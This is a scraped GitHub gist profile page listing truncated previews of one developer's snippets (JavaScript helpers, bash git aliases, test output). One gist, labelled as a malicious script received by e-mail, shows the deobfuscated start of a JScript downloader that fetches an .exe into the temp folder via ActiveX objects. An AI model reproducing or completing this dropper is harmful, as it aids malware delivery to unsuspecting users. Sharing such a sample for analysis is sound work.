Skip to content

Instantly share code, notes, and snippets.


Alan Plum pluma

Block or report user

Report or block pluma

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
from lxml import etree
def node_from_dict(tag, data=None):
node = etree.Element(tag)
if isinstance(data, dict):
for key, value in data.items():
if isinstance(value, list):
for v in value:
node.append(node_from_dict(key, v))
pluma / golem.js
Last active Dec 26, 2015
ES-harmony multiple inheritance.
View golem.js
var uniq = require('uniq');
var arrp = Array.prototype;
function merge(obj, src) {
Object.keys(src).forEach(function(name) {
var value = src[name];
if (obj.hasOwnProperty(name)) {
merge(obj[name], value);
} else {
pluma / delegating.js
Last active Dec 26, 2015
Slate-like object property delegation. With appologies to Sorella on FreeNode ##javascript.
View delegating.js
var uniq = require('uniq');
var arrp = Array.prototype;
function ext(obj) {
var sources =, 1);
sources.forEach(function(src) {
src && Object.keys(src).forEach(function(name) {
obj[name] = src[name];
pluma /
Last active Jan 4, 2016
Node stability index badges using
[![stability 0 - deprecated](

stability 0 - deprecated

View tap
TAP version 13
# api: lintFiles
ok 1 no error while linting
ok 2 result is an object
ok 3 should be equal
# api: lintText
ok 4 no error while linting
ok 5 result is an object
ok 6 should have used single quotes
# Disabled Packages
pluma / deobfuscated.js
Last active Mar 22, 2016
Malicious script I got in an e-mail
View deobfuscated.js
var shell = new ActiveXObject('WScript.Shell')
var xhr = new ActiveXObject('MSXML2.XMLHTTP')
var virus = shell.ExpandEnvironmentStrings('%TEMP%') + '/CBMQFs.exe'
xhr.onreadystatechange = function () {
if (xhr.readystate === 4) {
var stream = new ActiveXObject('ADODB.Stream')
stream.type = 1
stream.position = 0
View .bash_aliases
alias g='git status -sb'
alias ga='git add'
alias gac='git commit -S --amend'
alias gb='git branch'
alias gbb='git checkout -b'
alias gbm='git branch --merged'
alias gbn='git branch --no-merged'
alias gc='git commit -S -m'
alias gcp='git cherry-pick'
alias gco='git checkout'
View cancellable.js
/*global assert*/
class CancellationError extends Error {} = 'CancellationError'
function deferred () {
let _resolve, _reject
const promise = new Promise((resolve, reject) => {
_resolve = resolve
_reject = reject
View xunit.xml
<?xml version="1.0" encoding="UTF-8"?>
<testsuite name="/hello" timestamp="2016-11-23T15:32:04.685Z" tests="31" errors="0" failures="6" skip="1" time="66">
<testcase classname="global" name="is global" time="0"/>
<testcase classname="An error" name="is an error" time="0">
<failure type="Error" message="banana">
Error: banana
at Context.&lt;anonymous> (/home/pluma/projects/arango/_local/3.1.devel/arango-apps/_db/_system/hello/APP/test/queries.js:12:11)
at [as immediately] (./js/common/bootstrap/modules/process.js:26:5)
pluma / arrutils.js
Created Feb 19, 2017
ES6 non-mutating array manipulation helpers
View arrutils.js
export const replace = (arr, index, value) => [
...arr.slice(0, index),
...arr.slice(index + 1)
export const insert = (arr, index, value) => [
...arr.slice(0, index),
You can’t perform that action at this time.